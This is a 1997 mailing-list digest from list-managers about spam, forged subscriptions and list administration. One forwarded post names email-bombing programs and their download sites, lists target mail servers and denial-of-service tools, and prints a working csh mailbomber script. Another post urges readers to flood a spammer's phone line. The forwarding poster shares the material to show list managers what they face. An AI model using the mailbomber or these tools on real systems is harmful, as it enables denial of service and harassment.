Sun, 20 Apr 1997 16:55:03 -0700 (PDT) Received: (from kynn@localhost) by ayla.idyllmtn.com (8.6.12/8.6.9) id QAA27090; Sun, 20 Apr 1997 16:50:19 -0700 From: Kynn Bartlett Message-Id: <199704202350.QAA27090@ayla.idyllmtn.com> Subject: Re: IGNORE (SORRY): Probably prelude to a spam: getting on "oknames" list To: tv@pobox.com (Todd Vierling) Date: Sun, 20 Apr 1997 16:50:19 -0700 (PDT) Cc: kynn@idyllmtn.com, list-managers@GreatCircle.COM In-Reply-To: from "Todd Vierling" at Apr 20, 97 07:42:14 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: list-managers-owner@GreatCircle.COM Precedence: bulk Todd wrote: > On Sun, 20 Apr 1997, Kynn Bartlett wrote: > : Why were you subscribing to every list at Paul's site? > I didn't. Oh, okay. Not suspicious then. :) --Kynn From owner-list-managers-outgoing Sun Apr 20 17:11:04 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA27680 for list-managers-outgoing; Sun, 20 Apr 1997 16:45:22 -0700 (PDT) Received: from colossus.arl.mil (colossus.arl.mil [131.218.204.98]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id QAA27473 for ; Sun, 20 Apr 1997 16:44:41 -0700 (PDT) Received: from [207.254.96.49] by colossus.arl.mil with ESMTP (Eudora Internet Mail Server 1.1.2); Sun, 20 Apr 1997 19:47:51 -0400 Message-Id: In-Reply-To: <9704192104.AA10920@colossus.wa> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Organization: Little to None X-Mailer: Eudora 3.0 for Cray Y-MP Date: Sun, 20 Apr 1997 19:45:49 -0400 To: list-managers@greatcircle.com From: Vince Sabio Subject: Re: Cyberpromo... Sender: list-managers-owner@GreatCircle.COM Precedence: bulk ** Sometime around 14:04 -0700 4/19/97, Mike Cuddy sent everyone: >I've just about had enough of cyber-fucking-promo (pardon the language ...) >Anyone have a good list of addresses stick in my cisco 2501?. I'm going to >cut them off from my networks completely. You axed furrit, Mike, you got it: >(any better solutions?) Nope. Sayonara. (Or something like that. My German isn't very good. ;-) - Vince Sabio orionsoft@telephonet.com -- If you run a mailing list and are tired of manually processing mail bounces, then you probably need SmartBounce -- currently managing mailing lists in excess of 150,000 subscribers. For more information, send a blank email to . (Finally out of beta! :-) -- From owner-list-managers-outgoing Sun Apr 20 22:44:17 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id WAA23049 for list-managers-outgoing; Sun, 20 Apr 1997 22:43:37 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970308-1) id WAA23034 for list-managers@greatcircle.com; Sun, 20 Apr 1997 22:43:34 -0700 (PDT) Received: from mailhub.iag.net (www2.iag.net [204.27.210.7]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id QAA27546 for ; Sun, 20 Apr 1997 16:44:54 -0700 (PDT) Received: from iag.net (root@shell.iag.net [204.27.210.69]) by mailhub.iag.net (8.8.5/8.8.5) with ESMTP id TAA19983; Sun, 20 Apr 1997 19:53:27 -0400 (EDT) Received: from localhost (tv@localhost [127.0.0.1]) by iag.net (8.8.5/8.8.5) with SMTP id TAA06774; Sun, 20 Apr 1997 19:42:15 -0400 (EDT) Date: Sun, 20 Apr 1997 19:42:14 -0400 (EDT) From: Todd Vierling X-Sender: tv@shell To: Kynn Bartlett cc: list-managers@GreatCircle.COM Subject: Re: IGNORE (SORRY): Probably prelude to a spam: getting on "oknames" list In-Reply-To: <199704202130.OAA25278@ayla.idyllmtn.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: list-managers-owner@GreatCircle.COM Precedence: bulk On Sun, 20 Apr 1997, Kynn Bartlett wrote: : Why were you subscribing to every list at Paul's site? I didn't. If he checked the logs further, he would've seen a subscribe followed by several (unsuccessful) "information" requests, and then another subscribe to about 3/4 of the lists there. They are IETF Working Group lists--from what I'm told, a great place to read about the future workings of various protocols and standards on the 'net. ===== == Todd Vierling (Personal tv@pobox.com; Business tv@iag.net) Foo-bar-baz! == == System administrator/technician, Internet Access Group, Orlando Florida == == Dialups in Orange, Volusia, Lake, Osceola counties - http://www.iag.net == From owner-list-managers-outgoing Sun Apr 20 22:53:53 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id WAA23018 for list-managers-outgoing; Sun, 20 Apr 1997 22:43:28 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970308-1) id WAA22972 for list-managers@greatcircle.com; Sun, 20 Apr 1997 22:43:20 -0700 (PDT) Received: from ilinx.ilinx.com (ilinx.bctel.net [204.174.213.24]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id QAA23851 for ; Sun, 20 Apr 1997 16:27:21 -0700 (PDT) Received: (from brian@localhost) by ilinx.ilinx.com (8.8.5/8.8.5) id QAA23827; Sun, 20 Apr 1997 16:26:57 -0700 From: "Brian J. Murrell" Message-Id: <199704202326.QAA23827@ilinx.ilinx.com> Date: Sun, 20 Apr 1997 16:26:55 -0700 (PDT) To: mcuddy@scitexdv.com Cc: list-managers@GreatCircle.COM Subject: Re: Cyberpromo... In-Reply-To: <9704192104.AA10920@colossus.wa> X-Mailer: Ishmail 1.3.1-961106-linux MIME-Version: 1.0 Content-Type: text/plain Sender: list-managers-owner@GreatCircle.COM Precedence: bulk from the quill of Mike Cuddy on scroll <9704192104.AA10920@colossus.wa> > > I've just about had enough of cyber-fucking-promo (pardon the language > ...) > Anyone have a good list of addresses stick in my cisco 2501?. I'm going > to > cut them off from my networks completely. Good luck. I just got a spam which originated from Cyberpromo RELAYED through istar.ca. I would think that somebody like IStar would take serious exception to being dragged into this war, however my many many complaints to them about their "open to relaying" mailers have all gone unanswered. I've lodged a complaint about them at www.vix.com/spam, but didn't hear anything about it from them either. As far as I'm concerned IStar are just as culpible (sp?) for spam as Cyberpromo for allowing unauthorized relaying through their mail servers. We are playing in a time now folks, where it is technically feasible to prevent unauthorized mail relaying, so, as far as I'm concerned, any site which allows the relaying of spam is just as bad as the spammers. b. -- Brian J. Murrell brian@ilinx.com InterLinx Support Services, Inc. brian@wimsey.com North Vancouver, B.C. 604 983 UNIX Platform and Brand Independent UNIX Support - R3.2 - R4 - BSD From owner-list-managers-outgoing Sun Apr 20 22:59:32 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id WAA23275 for list-managers-outgoing; Sun, 20 Apr 1997 22:44:50 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970308-1) id WAA23266 for list-managers@greatcircle.com; Sun, 20 Apr 1997 22:44:48 -0700 (PDT) Received: from sacusr.mp.usbr.gov (sacusr.mp.usbr.gov [140.214.12.2]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id VAA20002 for ; Sun, 20 Apr 1997 21:53:44 -0700 (PDT) Received: by sacto.mp.usbr.gov (MX V4.2A VAX) id 5; Sun, 20 Apr 1997 21:53:18 PDT Date: Sun, 20 Apr 1997 21:53:16 PDT From: "Henry W. Miller" To: list-managers@GreatCircle.COM CC: henrym@sacto.mp.usbr.gov Message-ID: <009B315D.B72B5246.5@sacto.mp.usbr.gov> Subject: Re: The chutzpah award Sender: list-managers-owner@GreatCircle.COM Precedence: bulk My "favorite" one happened on one of my lists several months ago. A list member sent a message to the entire list, basically saying: "Hey, I'm too lazy to go look up the instructions - would the list manager please remove me from this list..." Sheesh! This one had me beside myself for a few days... -HWM From owner-list-managers-outgoing Sun Apr 20 23:14:03 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id XAA26295 for list-managers-outgoing; Sun, 20 Apr 1997 23:10:06 -0700 (PDT) Received: from sacmgr.mp.usbr.gov (sacmgr.mp.usbr.gov [140.214.12.4]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id XAA26274 for ; Sun, 20 Apr 1997 23:09:54 -0700 (PDT) Received: by sacto.mp.usbr.gov (MX V4.2A VAX) id 23; Sun, 20 Apr 1997 23:09:04 PDT Date: Sun, 20 Apr 1997 23:09:00 PDT From: "Henry W. Miller" To: rogerk@QueerNet.ORG CC: list-managers@GreatCircle.COM, henrym@sacto.mp.usbr.gov Message-ID: <009B3168.4BD1A0C6.23@sacto.mp.usbr.gov> Subject: Re: The chutzpah award Sender: list-managers-owner@GreatCircle.COM Precedence: bulk > From: MX%"rogerk@QueerNet.ORG" "Roger B.A. Klorese" 20-APR-1997 23:04:38.51 > Subj: Re: The chutzpah award Roger, > On Sun, 20 Apr 1997, Henry W. Miller wrote: > > My "favorite" one happened on one of my lists several months > > ago. A list member sent a message to the entire list, basically saying: > > "Hey, I'm too lazy to go look up the instructions - would the list > > manager please remove me from this list..." Sheesh! This one had me > > beside myself for a few days... > > I get several of those a week... not to mention the one who recently > posted out-of-charter stuff, then reposted my adminishing private email! > After I bounced him, he said that he just did the whole stupid thing to > get me to unsubscribe him! Geez - couldn't he have just sent a message asking to be unsubscribed? Sometimes, I wonder why we put up with this stuff... -HWM > -- > ROGER B.A. KLORESE rogerk@QueerNet.ORG > 2215-R Market Street #576 San Francisco, CA 94114 +1 415 ALL-ARFF > "There is only one real blasphemy -- the refusal of joy!" -- Paul Rudnick > From owner-list-managers-outgoing Mon Apr 21 11:14:09 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA07268 for list-managers-outgoing; Mon, 21 Apr 1997 10:53:59 -0700 (PDT) Received: from [198.102.244.42] (pb520.greatcircle.com [198.102.244.42]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id KAA07210 for ; Mon, 21 Apr 1997 10:53:45 -0700 (PDT) X-Sender: brent@honor.greatcircle.com Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Mon, 21 Apr 1997 10:54:04 -0800 To: list-managers@GreatCircle.COM From: Brent Chapman Subject: What we're up against... Sender: list-managers-owner@GreatCircle.COM Precedence: bulk This was posted to Firewalls; I figured the folks here might be interested in it, if for no other reason than to get some idea of what we're up against... -Brent --- begin forwarded text Date: Sat, 19 Apr 1997 18:34:27 -0700 From: Osiris Organization: Abode of the Dead MIME-Version: 1.0 To: Warpy CC: Ashram Beachoo , firewalls@GreatCircle.COM Subject: Re: Warpy the wimp and Mail Bombing (LONG) Sender: firewalls-owner@GreatCircle.COM Precedence: bulk Warpy wrote: > > Ummm, errr, ok. If I was out of line I apologise about my post. However > from the way he wrote about email bombing it looked like he was interested > in using it rather than preventing it. Had he written asking I'm am > looking at how to PREVENT such email bombers as UpYours 4.0, then I > wouldn't have cared a bit. > > And Wimpy? Are we still stuck in kindergarten here? > Perhaps he wanted to understand how such programs work, which ones were available and whom they were written by. Since no one actually answered the question (as off topic as it may be), perhaps I should. True, it's off-topic, but it is better to send someone away with what they asked for than have them return only to ask it again. The dope, therefore, is as follows: 1. Entering the following strings into altavista.digital.com will get you a wide range of such "programs": upyours.exe (Windows/Windows95/WindowsNT) upyours2.zip (Windows/Windows95/WindowsNT) upyours3.zip (Windows/Windows95/WindowsNT) kaboom!3.zip (Windows/Windows95/WindowsNT) kaboom3.exe (Windows/Windows95/WindowsNT) alanch10.zip (Windows/Windows95/WindowsNT) avalanche20.zip (Windows/Windows95/WindowsNT) avalanche.exe (Windows/Windows95/WindowsNT) unabomb.zip (Windows/Windows95/WindowsNT) unabomb.exe (Windows/Windows95/WindowsNT) xmailb1.zip (Windows/Windows95/WindowsNT) xmailb1.exe (Windows/Windows95/WindowsNT) homicide.zip (Windows/Windows95/WindowsNT) homicide.exe (Windows/Windows95/WindowsNT) bombtrack.bin (MacOS) flamethrower10b.sit.bin (MacOS) Nearly all of these are available for download and examination at the following location: http://www.ilf.net/wilter/ehack/email/email/mail.html ..Also, there is a page that rates each of these "bombers" according to the page owner's unique specifications. It is a quick way to learn what each one does. That page is located here: http://main.succeed.net/~bbuster/hacking/email/ ..Mail servers of particular interest are these: centerof.thesphere.com lonepeak.vii.com acad.bryant.edu miami.linkstar.com wheel.dcn.davis.ca.us palette.wcupa.edu wpgate.hqpacaf.af.mil www.geocities.com www.whitehouse.gov www.internic.net www.twocrows.com www.pbs.org www.ohio.net www.pacbell.net www.nacho.com www.netforward.com www.iowa.net www.idaho.net www.montana.net www.vicon.net www.free.net www.grotesque.com www.infodomain.com ================================================================================ ===== 2. No special programming knowledge is required to create on on the UNIX platform. For example: #!/bin/csh # Anonymous Mailbomber # do chmod u+rwx where filename is the name of the file that # you saved it as. #*** WARNING - THIS WILL CREATE AND DELETE A TEMP FILE CALLED # "teltemp" # IN THE DIRECTORY IT IS RUN FROM **** clear echo -n "What is the name or address of the smtp server ?" set server = $< #echo open $server 25 > teltemp echo quote helo somewhere.com >> teltemp #The entry for the following should be a single name (goober), #not goober@internet.address. echo -n "Who will this be from (e.g. somebody) ?" set from = $< echo quote mail from: $from >> teltemp echo -n "Who is the lucky recipient (e.g. someone@somewhere) ? " set name = $< echo quote rcpt to: $name >> teltemp echo quote data >> teltemp echo quote . >> teltemp echo quote quit >> teltemp echo quit >> teltemp echo -n "How many times should it be sent ?" set amount = $< set loop_count = 1 while ($loop_count <= $amount) echo "Done $loop_count" ftp -n $server 25 < teltemp @ loop_count++ end rm ./teltemp echo $amount e-mails complete to $name from $from@$server **** This was reportedly authored by a fellow called "CyBerGoat" (PERL is actualy quite suited to this type of task. It is also suited for coding tools to defeat these types of irritating attacks.) Special note: new types of email bombing utilities have been designed, particularly with JavaScript. Here is one such utility: http://main.succeed.net/~bbuster/hacking/bomb.html Here, you will find another: http://ally.ios.com/~cdcjdc19/bomb.htm These are valuable because, unlike the Doze and MacOS ones, the source is easily examined. ================================================================================ ===== 3. There are several documents that discuss the subject. Here are some that treat both bombing and forging: **E-Mail Bombing and Spamming** What is E-Mail Spamming? What is E-Mail Bombing? What can be done about it? Last Date of Apparent Modification: November 25, 1996 Author: Byron Palmer Location: http://mwir.lanl.gov:8080/E-Mail_Spamming.html and also: http://wsspinfo.cern.ch/sec/cert/tech_tips/email_bombing_spamming **Spoofed/Forged Email** CERT/Carnegie Mellon University Last Date of Apparent Modification: No Date Given Location: ftp://info.cert.org/pub/tech_tips/email_spoofing **E-Mail Bombs and Journalists** Author: Steve Outing Last Date of Apparent Modification: Friday, January 10, 1997 Location: http://www.mediainfo.com/ephome/news/newshtm/stop/st011097.htm **I'VE BEEN SPAMMED!** Source: Time Magazine Volume 147, No. 12 Author: PHILIP ELMER-DEWITT Date: March 18, 1996 Location: http://pathfinder.com/@@0vsMrwcAt6xCLcGD/time/magazine/domestic/1996/960318/tech nology.html **Up Yours v2.0 FAQ** Authors: GlobalKos Last Date of Apparent Modification: No Date Given Location: http://main.succeed.net/~bbuster/hacking/faq.txt ***E-Mail Bombing*** (Somewhat lame.) WRAL News Capitol Broadcasting Company Location: http://www.wral-tv.com/news/wral/datacenter/1997/0224-email-bombing/ ================================================================================ ===== Overview: Email bombing and spamming suck the big, putrid weeny. Anyone who does it is an asshole. However, there is no shortage of such persons. Many groups maintain lists of such people. Here is one generated by the folks at AOL: http://www.idot.aol.com/preferredmail/ Many providers have also been identified as "Rogue" sites; sites that allow or encourage spamming (and do not reprimand their users for bombings. Here is a site that idenitifies those providers: http://spam.abuse.net/spam//rogues.html And, of course, for a historical perspective (though more of USENET spams), you can always visit the Blacklist of Internet Advertisers, which is located here: http://math-www.uni-paderborn.de/~axel/BL/blacklist.html Some more famous cases discussed there include: L. Canter, M. Siegel (Canter and Siegel, Immigration Lawyers) Jess Guim, Advanz Home Office Companion TMI Kevin Jay Lipsitz a.k.a. Krazy Kevin, Magazine Club Inquiry Center Kim Kerns, Applied Information Technologies, Inc. Cybergear One extremely interesting document is Rahul Dhesi's Block list, which contains a list of rules for filtering this crap. It is located here: http://www.rahul.net/dhesi/nojunk.txt Contained within that document is a series of patterns (the implementation is PERL 5) that have been identified as being associated with junk mail, bombing or whatever. ================================================================================ ====== Special Tools Related to Bombing and/or Denial of Service: **Tool: The Livingston Crasher** Purpose: Crash any PortMaster Location: ftp://ftp.visi.com/users/sluggo/generic/Livingston%20Portmaster%20Exploit%20(Cra sher).txt Requirements: C Compiler; UNIX Tool: win95ping.c (Ping of Death for UNIX) Purpose: Blow a Doze box off the Net Location: http://www.sophist.demon.co.uk/ping/pingprogram.html Source: http://www.sophist.demon.co.uk/ping/ping.c Requirements: C compiler, UNIX Tool: syn_flood Purpose: Flood a target with half open connections, overflowing the queue Location: http://jya.com/flood.txt Source: http://jya.com/flood.txt Requirements: C compiler, UNIX (Author: Jason Fairlane) The original question has now been answered. --- end forwarded text -- Brent Chapman Internet/intranet training and consulting, Brent@GreatCircle.COM specializing in network design and security. Great Circle Associates,Inc. Visit us at http://www.greatcircle.com/ From owner-list-managers-outgoing Mon Apr 21 13:48:21 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA06778 for list-managers-outgoing; Mon, 21 Apr 1997 13:43:31 -0700 (PDT) Received: from mailrelay.tiac.net (mailrelay.tiac.net [199.0.65.237]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id NAA06761 for ; Mon, 21 Apr 1997 13:43:15 -0700 (PDT) Received: from worldmachine.com (worldmachine.com [204.215.133.237]) by mailrelay.tiac.net (8.8.5/) with ESMTP id QAA00694 for ; Mon, 21 Apr 1997 16:45:08 -0400 (EDT) Received: (from eric@localhost) by worldmachine.com (8.8.5/Worldmachine) id QAA19284 Mon, 21 Apr 1997 16:43:29 -0400 From: "Eric J. Hansen" Message-Id: <199704212043.QAA19284@worldmachine.com> Subject: How many subscribers... To: list-managers@greatcircle.com Date: Mon, 21 Apr 1997 16:43:28 -0400 (EDT) Content-Type: text Sender: list-managers-owner@GreatCircle.COM Precedence: bulk I thought this might provide y'all with a good laugh... --- Q: How many internet mail list subscribers does it take to change a light bulb? A: 1,331: 1 to change the light bulb and to post to the mail list that the light bulb has been changed 14 to share similar experiences of changing light bulbs and how the light bulb could have been changed differently. 7 to caution about the dangers of changing light bulbs. 27 to point out spelling/grammar errors in posts about changing light bulbs. 53 to flame the spell checkers 156 to write to the list administrator complaining about the light bulb discussion and its inappropriateness to this mail list. 41 to correct spelling in the spelling/grammar flames. 109 to post that this list is not about light bulbs and to please take this email exchange to alt.lite.bulb 203 to demand that cross posting to alt.grammar, alt.spelling and alt.punctuation about changing light bulbs be stopped. 111 to defend the posting to this list saying that we all use light bulbs and therefore the posts **are** relevant to this mail list. 306 to debate which method of changing light bulbs is superior, where to buy the best light bulbs, what brand of light bulbs work best for this technique, and what brands are faulty. 27 to post URLs where one can see examples of different light bulbs 14 to post that the URLs were posted incorrectly, and to post corrected URLs. 3 to post about links they found from the URLs that are relevant to this list which makes light bulbs relevant to this list. 33 to concatenate all posts to date, then quote them including all headers and footers, and then add "Me Too." 12 to post to the list that they are unsubscribing because they cannot handle the light bulb controversey. 19 to quote the "Me Too's" to say, "Me Three." 4 to suggest that posters request the light bulb FAQ. 1 to propose new alt.change.lite.bulb newsgroup. 47 to say this is just what alt.physic.cold_fusion was meant for, leave it here. 143 votes for alt.lite.bulb. -Eric :: Level 42 Digest > www.worldmachine.com/level42 :: Incognito Digest > www.worldmachine.com/incognito :: Go West Digest > www.worldmachine.com/gowest -- Eric J. Hansen ............................. mailto:eric@worldmachine.com Worldmachine Technologies Corporation ....... http://www.worldmachine.com From owner-list-managers-outgoing Mon Apr 21 14:14:58 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA11076 for list-managers-outgoing; Mon, 21 Apr 1997 14:09:56 -0700 (PDT) Received: from ayla.idyllmtn.com (ayla.idyllmtn.com [206.16.238.1]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id OAA10998 for ; Mon, 21 Apr 1997 14:09:40 -0700 (PDT) Received: (from kynn@localhost) by ayla.idyllmtn.com (8.6.12/8.6.9) id OAA11102; Mon, 21 Apr 1997 14:05:34 -0700 From: Kynn Bartlett Message-Id: <199704212105.OAA11102@ayla.idyllmtn.com> Subject: Re: How many subscribers... To: eric@worldmachine.com (Eric J. Hansen) Date: Mon, 21 Apr 1997 14:05:34 -0700 (PDT) Cc: list-managers@GreatCircle.COM In-Reply-To: <199704212043.QAA19284@worldmachine.com> from "Eric J. Hansen" at Apr 21, 97 04:43:28 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: list-managers-owner@GreatCircle.COM Precedence: bulk > Q: How many internet mail list zubscribers does it take > to change a light bulb? > A: 1,331: 1,331, to forward the same bit of supposed "humor" to every single list in creation until the whole internet is absolutely SICK of seeing this damn thing. I thought it was funny the first 1,330 times I saw it, sorry. --Kynn From owner-list-managers-outgoing Mon Apr 21 14:30:35 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA13427 for list-managers-outgoing; Mon, 21 Apr 1997 14:26:47 -0700 (PDT) Received: from hyperreal.com (taz.hyperreal.com [204.152.144.36]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id OAA13409 for ; Mon, 21 Apr 1997 14:26:39 -0700 (PDT) Received: from localhost (brian@localhost) by hyperreal.com (8.8.4/8.8.4) with SMTP id OAA00900; Mon, 21 Apr 1997 14:26:18 -0700 (PDT) Date: Mon, 21 Apr 1997 14:26:17 -0700 (PDT) From: Brian Behlendorf To: Ken Kyler cc: list-managers@GreatCircle.COM Subject: Re: CyberPromo In-Reply-To: <3.0.1.32.19970415112232.006cac1c@klstools.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: list-managers-owner@GreatCircle.COM Precedence: bulk On Tue, 15 Apr 1997, Ken Kyler wrote: > I don't know if this will work or not, but I called CyberPromo > (800-650-9110) and requested that my domains be removed from their "lists." I find it hilarious that a spam outfit has a 1-800 number, and invite anyone with proper equipment to give them a taste of their own medicine in a medium they can understand. Brian --=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-- brian@hyperreal.com http://www.apache.org http://www.organic.com/jobs From owner-list-managers-outgoing Mon Apr 21 14:40:09 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA13608 for list-managers-outgoing; Mon, 21 Apr 1997 14:27:57 -0700 (PDT) Received: from hpr114.mdhc.mdc.com (hpr114.mdhc.mdc.com [130.38.223.144]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id OAA13512 for ; Mon, 21 Apr 1997 14:27:40 -0700 (PDT) Message-Id: <199704212127.OAA13512@honor.greatcircle.com> Received: by hpr114.mdhc.mdc.com (1.37.109.17/16.2) id AA281998048; Mon, 21 Apr 1997 14:27:28 -0700 Date: Mon, 21 Apr 1997 14:27:28 -0700 From: Ed Werzyn To: List-Managers@GreatCircle.com Subject: Ignore requests outside of local domain Cc: ewerzyn@hpr114.mdhc.mdc.com Sender: list-managers-owner@GreatCircle.COM Precedence: bulk Is it possible to limit the access to a majordomo mailing list to a specific domain? For security purposes we would like to only allow assess to our internal mailing lists to addresses within the intranet network of the company. I realize that this could be accomplished by setting the listname-approval alias so that the list-owner approves of all subscriptions to the list, but I would like to take it a step further and just ignore all requests outside of our company's domain. Thanks!! Sincerely,..........................+---------------------------------------+ Edward A. Werzyn, Jr................| O "Take a Hike!" | Longbow Apache System Administrator.| []|-| Grand Canyon rim-to-rim | McDonnell Douglas Helicopter........| / \| and back again! | 5000 E. McDowell Road...............+---------------------------------------+ Building 530 Mailstop B-347 Mesa, AZ 85215 Voice: 602-891-4458 Fax: 602-891-7321 E-Mail: ewerzyn@hpr114.mdhc.mdc.com From owner-list-managers-outgoing Mon Apr 21 15:15:11 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA19140 for list-managers-outgoing; Mon, 21 Apr 1997 15:06:39 -0700 (PDT) Received: from colossus.arl.mil (colossus.arl.mil [131.218.204.98]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id PAA19075 for ; Mon, 21 Apr 1997 15:06:20 -0700 (PDT) Received: from [207.254.96.49] by colossus.arl.mil with ESMTP (Eudora Internet Mail Server 1.1.2); Mon, 21 Apr 1997 18:09:50 -0400 Message-Id: In-Reply-To: <199704212105.OAA11102@ayla.idyllmtn.com> References: <199704212043.QAA19284@worldmachine.com> from "Eric J. Hansen" at Apr 21, 97 04:43:28 pm Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Organization: Little to None X-Mailer: Eudora 3.0 for Cray Y-MP Date: Mon, 21 Apr 1997 18:05:24 -0400 To: List-Managers@GreatCircle.COM From: Vince Sabio Subject: Re: How many subscribers AND Two More Bogus Subs ... Sender: list-managers-owner@GreatCircle.COM Precedence: bulk ** Sometime around 14:05 -0700 4/21/97, Kynn Bartlett said: >> Q: How many internet mail list zubscribers does it take >> to change a light bulb? >> A: 1,331: > >1,331, to forward the same bit of supposed "humor" to every >single list in creation until the whole internet is absolutely >SICK of seeing this damn thing. >I thought it was funny the first 1,330 times I saw it, sorry. Hell, I thought it was funny the first THREE times it was posted *here*! IIRC, the first post even generated some discussion of the terms used in the piece. Do people subscribe to these lists without *reading* them? While I'm here, I might as well note that I've had two more bogus subscriptions come through recently -- these two need to be added to the ever-growing .ignored file list: brandon1@usit.net nguyel18@student.ucr.edu The adventure continues ... - Vince Sabio orionsoft@telephonet.com -- If you run a mailing list and are tired of manually processing mail bounces, then you probably need SmartBounce -- currently managing mailing lists in excess of 150,000 subscribers. For more information, send a blank email to , or drop by . -- From owner-list-managers-outgoing Mon Apr 21 15:59:55 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA28184 for list-managers-outgoing; Mon, 21 Apr 1997 15:54:04 -0700 (PDT) Received: from ginger.vnet.net (ginger.vnet.net [166.82.1.69]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id PAA28047 for ; Mon, 21 Apr 1997 15:53:35 -0700 (PDT) Received: from katie.vnet.net (murr@katie.vnet.net [166.82.1.7]) by ginger.vnet.net (8.8.4/8.8.2) with ESMTP id SAA21187 for ; Mon, 21 Apr 1997 18:53:36 -0400 (EDT) Received: from localhost (murr@localhost) by katie.vnet.net (8.7.6/8.7.3) with SMTP id SAA18053 for ; Mon, 21 Apr 1997 18:45:00 -0400 (EDT) X-Authentication-Warning: katie.vnet.net: murr owned process doing -bs Date: Mon, 21 Apr 1997 18:44:59 -0400 (EDT) From: murr rhame To: List-Managers@GreatCircle.COM Subject: More junk subscriptions In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: list-managers-owner@GreatCircle.COM Precedence: bulk On Mon, 21 Apr 1997, Vince Sabio wrote: > While I'm here, I might as well note that I've had two more bogus > subscriptions come through recently -- these two need to be added > to the ever-growing .ignored file list: > > brandon1@usit.net > nguyel18@student.ucr.edu A few more just in: dynamite@webtv.net squirel@webtv.net clover@earthfriends.com Also, supicious activity from sparknet.net. - murr - From owner-list-managers-outgoing Mon Apr 21 16:59:21 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA09143 for list-managers-outgoing; Mon, 21 Apr 1997 16:49:08 -0700 (PDT) Received: from duticai.twi.tudelft.nl (duticai.twi.tudelft.nl [130.161.159.1]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id QAA09120 for ; Mon, 21 Apr 1997 16:48:57 -0700 (PDT) Received: (from winfave@localhost) by duticai.twi.tudelft.nl (8.8.5/8.8.5) id BAA14559; Tue, 22 Apr 1997 01:48:46 +0200 (MET DST) From: Alexander Verbraeck Message-Id: <199704212348.BAA14559@duticai.twi.tudelft.nl> Subject: Current list of mass subscriptions ... To: List-Managers@greatcircle.com Date: Tue, 22 Apr 1997 01:48:45 +0200 (MET DST) Cc: winfave@duticai.twi.tudelft.nl, orionsoft@telephonet.com X-Mailer: ELM [version 2.4 PL25] Content-Type: text Sender: list-managers-owner@GreatCircle.COM Precedence: bulk This is my current list of mass subscribed addresses. I added the older ones as well. List is in alphabetic order, and the number in front tells how many messages I got for the two most important lists I maintain. It might be there are one or two "regular" users inbetween; in that case they had the bad luck of posting via the same set of forged machines which I filter on. Good luck with weeding out the bad addresses... Kind regards, Alexander Verbraeck. List as of 21 April 1997: 2 From: 110077.0253@compuserve.com 1 From: 71112.1620@compuserve.com 1 From: 1 From: abc46@juno.com 1 From: alamo@netvigator.com 1 From: albert.kooistra@tip.nl 2 From: aljber@kuwait.net 1 From: amazingvalues@usa.net 1 From: Anderson_ajax@msn.com 2 From: apex@ar.com.au 1 From: artshell@aol.com 1 From: baross@imagin.net 4 From: bed8226@megahertz.njit.edu 1 From: bigprofit@fullmkt.com 5 From: black@engr.csulb.edu 1 From: bobafett@hunter.ca 2 From: bolsa@flop.engr.orst.edu 2 From: buster@pc211-58.barksdale.af.mil 4 From: capella@primenet.com 3 From: capella@usr06.primenet.com 4 From: caravita@public.iunet.it 1 From: carissi@engr.csulb.edu 6 From: charles1@netcom.com 2 From: cookie@cyberjunkie.com 1 From: crazer@timenspace.com 1 From: cskim@moak.chonbuk.ac.kr 1 From: CTL@escape.com 4 From: cxh0837@megahertz.njit.edu 5 From: dblack@devry-phx.edu 2 From: deen19@idt.net 2 From: dividual@hotmail.com 2 From: dtarn@uab.edu 2 From: dung73@chollian.dacom.co.kr 1 From: dynamite@webtv.net 2 